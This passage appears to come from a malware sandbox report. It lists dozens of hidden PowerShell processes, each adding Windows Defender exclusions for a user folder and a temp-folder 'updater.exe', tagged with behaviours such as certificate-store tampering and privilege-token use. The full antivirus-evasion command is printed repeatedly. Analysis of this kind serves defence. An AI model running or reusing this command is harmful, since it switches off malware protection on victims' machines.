    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:2980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:3648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:1840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:3552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:5160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:3828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:5184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:5396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:5920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:5200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:3868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:4196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:2604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:3032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    PID:5680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:1332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
